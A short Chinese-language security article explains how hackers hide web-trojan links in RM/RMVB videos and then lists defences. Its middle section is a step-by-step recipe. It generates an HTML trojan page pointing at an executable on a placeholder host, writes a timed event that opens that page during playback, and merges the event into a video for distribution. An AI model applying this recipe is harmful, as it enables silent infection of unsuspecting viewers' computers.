歲末賀歲片氾濫，駭客利用 RM/RMVB 格式特性夾帶網頁木馬大肆收割「肉雞」。

1. 為何唯獨 RM/RMVB 可夾帶網頁木馬？

Real 公司允許在 RM/RMVB 內插入任意網頁鏈接作廣告，播放時默認用 Real 瀏覽器打開。此功能未給 Real 帶來實益，卻成駭客傳播木馬的便利通道：只需在視頻內添加木馬鏈接，用戶播放即中招。其他格式僅能用「捆綁」方式傳播木馬。

2. 製作網馬 RM 三步曲

1. 生成網頁木馬：準備木馬服務端上傳獲取鏈接，用 MCAfee 生成器創建 HTML 木馬頁（命令行：McAfee https://www.mm.com/mm.exe cs.html），上傳至網頁空間。
2. 製作時間觸發檔：記事本輸入 u 00:10:00.0 00:11:00.0 https://www.mm.com/cs.html（第 10-11 分鐘觸發打開木馬頁），存為文本檔。
3. 合併生成惡意 RM：用 RealMedia Editor 打開視頻 → 工具 → 合併事件 → 選擇上述文本 → 另存為新 RM 檔案。傳播該檔案，觀看者即中招。

3. 防範方法

• 下載後用 超級兔子 RM 廣告清除器 掃描清除嵌入的網頁鏈接（輸入檔、輸出檔、點「開始清除」）。
• 最簡單：下載完成斷網再觀看。
• 針對網頁嵌入 RM/RMVB：安裝最新系統/應用補丁，防木馬利用漏洞下載安裝；配合 IE 衛士、金山清理專家、瑞星卡卡的網頁木馬攔截功能。

總結

RM/RMVB 夾帶網馬是古老但極有效的手法。歲末駭客將熱門賀歲片植入木馬大量傳播，現象將持續一段時間。下載電影請多留心，寧可多一步驗證，不可輕信不明來源視頻。